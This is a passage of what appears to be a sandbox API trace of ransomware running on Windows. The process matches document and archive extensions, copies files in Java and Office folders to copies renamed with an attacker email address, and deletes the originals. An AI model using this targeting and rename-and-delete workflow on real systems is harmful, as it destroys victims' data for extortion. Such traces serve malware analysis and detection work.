	[0178.543] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.543] lstrlenW (lpString=".rar") returned 4
	[0178.543] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.543] lstrlenW (lpString=".bz2") returned 4
	[0178.543] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.543] lstrlenW (lpString=".7z") returned 3
	[0178.543] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.543] lstrlenW (lpString=".dbf") returned 4
	[0178.544] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.544] lstrlenW (lpString=".1cd") returned 4
	[0178.544] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.544] lstrlenW (lpString=".jpg") returned 4
	[0178.544] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.544] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0178.544] lstrlenW (lpString="sound.properties") returned 16
	[0178.544] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.545] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1210) returned 1
	[0178.545] CloseHandle (hObject=0x4a8) returned 1
	[0178.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20
	[0178.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.545] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.545] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.546] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.546] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0178.548] GetLastError () returned 0x0
	[0178.548] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4ba, lpOverlapped=0x0) returned 1
	[0178.549] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0178.550] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.550] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0178.550] SetEndOfFile (hFile=0x514) returned 1
	[0178.551] CloseHandle (hObject=0x514) returned 1
	[0178.551] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.551] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.554] CloseHandle (hObject=0x4a8) returned 1
	[0178.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.554] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1
	[0178.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.555] lstrlenW (lpString=".doc") returned 4
	[0178.555] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString=".docx") returned 5
	[0178.555] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.555] lstrlenW (lpString=".pdf") returned 4
	[0178.555] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString=".xls") returned 4
	[0178.555] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString=".xlsx") returned 5
	[0178.555] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.555] lstrlenW (lpString=".ppt") returned 4
	[0178.555] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.555] lstrlenW (lpString=".zip") returned 4
	[0178.555] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString=".rar") returned 4
	[0178.555] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString=".bz2") returned 4
	[0178.555] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString=".7z") returned 3
	[0178.555] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.555] lstrlenW (lpString=".dbf") returned 4
	[0178.555] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.555] lstrlenW (lpString=".1cd") returned 4
	[0178.555] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.556] lstrlenW (lpString=".jpg") returned 4
	[0178.556] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.556] lstrlenW (lpString=".doc") returned 4
	[0178.556] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.556] lstrlenW (lpString=".docx") returned 5
	[0178.917] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.917] lstrlenW (lpString=".pdf") returned 4
	[0178.917] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.917] lstrlenW (lpString=".xls") returned 4
	[0178.917] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.917] lstrlenW (lpString=".xlsx") returned 5
	[0178.917] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.917] lstrlenW (lpString=".ppt") returned 4
	[0178.917] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.917] lstrlenW (lpString=".zip") returned 4
	[0178.917] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.917] lstrlenW (lpString=".rar") returned 4
	[0178.917] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.918] lstrlenW (lpString=".bz2") returned 4
	[0178.918] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.918] lstrlenW (lpString=".7z") returned 3
	[0178.918] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.918] lstrlenW (lpString=".dbf") returned 4
	[0178.918] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.918] lstrlenW (lpString=".1cd") returned 4
	[0178.918] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0178.918] lstrlenW (lpString=".jpg") returned 4
	[0178.918] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.918] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.918] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0178.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.122] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19136) returned 1
	[0179.122] CloseHandle (hObject=0x5bc) returned 1
	[0179.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220
	[0179.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.125] lstrlenW (lpString=".doc") returned 4
	[0179.125] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.125] lstrlenW (lpString=".docx") returned 5
	[0179.125] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.125] lstrlenW (lpString=".pdf") returned 4
	[0179.125] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.125] lstrlenW (lpString=".xls") returned 4
	[0179.125] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.125] lstrlenW (lpString=".xlsx") returned 5
	[0179.125] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.125] lstrlenW (lpString=".ppt") returned 4
	[0179.125] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.125] lstrlenW (lpString=".zip") returned 4
	[0179.125] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.125] lstrlenW (lpString=".rar") returned 4
	[0179.125] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.125] lstrlenW (lpString=".bz2") returned 4
	[0179.125] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.125] lstrlenW (lpString=".7z") returned 3
	[0179.125] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString=".dbf") returned 4
	[0179.126] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString=".1cd") returned 4
	[0179.126] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString=".jpg") returned 4
	[0179.126] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString=".doc") returned 4
	[0179.126] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString=".docx") returned 5
	[0179.126] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.126] lstrlenW (lpString=".pdf") returned 4
	[0179.126] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString=".xls") returned 4
	[0179.126] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString=".xlsx") returned 5
	[0179.126] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.126] lstrlenW (lpString=".ppt") returned 4
	[0179.126] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString=".zip") returned 4
	[0179.126] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString=".rar") returned 4
	[0179.126] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.126] lstrlenW (lpString=".bz2") returned 4
	[0179.126] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.126] lstrlenW (lpString=".7z") returned 3
	[0179.126] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.126] lstrlenW (lpString=".dbf") returned 4
	[0179.127] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.127] lstrlenW (lpString=".1cd") returned 4
	[0179.127] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0179.127] lstrlenW (lpString=".jpg") returned 4
	[0179.127] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.127] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0179.127] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30
	[0179.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.128] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19648) returned 1
	[0179.128] CloseHandle (hObject=0x5bc) returned 1
	[0179.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220
	[0179.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.128] lstrlenW (lpString=".doc") returned 4
	[0179.128] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.128] lstrlenW (lpString=".docx") returned 5
	[0179.128] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.128] lstrlenW (lpString=".pdf") returned 4
	[0179.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.128] lstrlenW (lpString=".xls") returned 4
	[0179.128] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.128] lstrlenW (lpString=".xlsx") returned 5
	[0179.128] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.129] lstrlenW (lpString=".ppt") returned 4
	[0179.129] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.129] lstrlenW (lpString=".zip") returned 4
	[0179.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString=".rar") returned 4
	[0179.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString=".bz2") returned 4
	[0179.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.129] lstrlenW (lpString=".7z") returned 3
	[0179.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.129] lstrlenW (lpString=".dbf") returned 4
	[0179.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.129] lstrlenW (lpString=".1cd") returned 4
	[0179.129] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.129] lstrlenW (lpString=".jpg") returned 4
	[0179.129] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.129] lstrlenW (lpString=".doc") returned 4
	[0179.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString=".docx") returned 5
	[0179.129] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.129] lstrlenW (lpString=".pdf") returned 4
	[0179.129] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString=".xls") returned 4
	[0179.129] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.129] lstrlenW (lpString=".xlsx") returned 5
	[0179.129] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.130] lstrlenW (lpString=".ppt") returned 4
	[0179.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.130] lstrlenW (lpString=".zip") returned 4
	[0179.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.130] lstrlenW (lpString=".rar") returned 4
	[0179.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.130] lstrlenW (lpString=".bz2") returned 4
	[0179.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.130] lstrlenW (lpString=".7z") returned 3
	[0179.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.130] lstrlenW (lpString=".dbf") returned 4
	[0179.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.130] lstrlenW (lpString=".1cd") returned 4
	[0179.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0179.130] lstrlenW (lpString=".jpg") returned 4
	[0179.130] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.130] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0179.130] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32
	[0179.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.131] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19136) returned 1
	[0179.131] CloseHandle (hObject=0x5bc) returned 1
	[0179.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220
	[0179.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.132] lstrlenW (lpString=".doc") returned 4
	[0179.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.132] lstrlenW (lpString=".docx") returned 5
	[0179.132] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.132] lstrlenW (lpString=".pdf") returned 4
	[0179.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.132] lstrlenW (lpString=".xls") returned 4
	[0179.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.132] lstrlenW (lpString=".xlsx") returned 5
	[0179.132] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.132] lstrlenW (lpString=".ppt") returned 4
	[0179.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.132] lstrlenW (lpString=".zip") returned 4
	[0179.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.132] lstrlenW (lpString=".rar") returned 4
	[0179.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.132] lstrlenW (lpString=".bz2") returned 4
	[0179.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.132] lstrlenW (lpString=".7z") returned 3
	[0179.133] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.133] lstrlenW (lpString=".dbf") returned 4
	[0179.133] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.133] lstrlenW (lpString=".1cd") returned 4
	[0179.133] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.133] lstrlenW (lpString=".jpg") returned 4
	[0179.133] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.133] lstrlenW (lpString=".doc") returned 4
	[0179.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString=".docx") returned 5
	[0179.133] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.133] lstrlenW (lpString=".pdf") returned 4
	[0179.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString=".xls") returned 4
	[0179.133] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString=".xlsx") returned 5
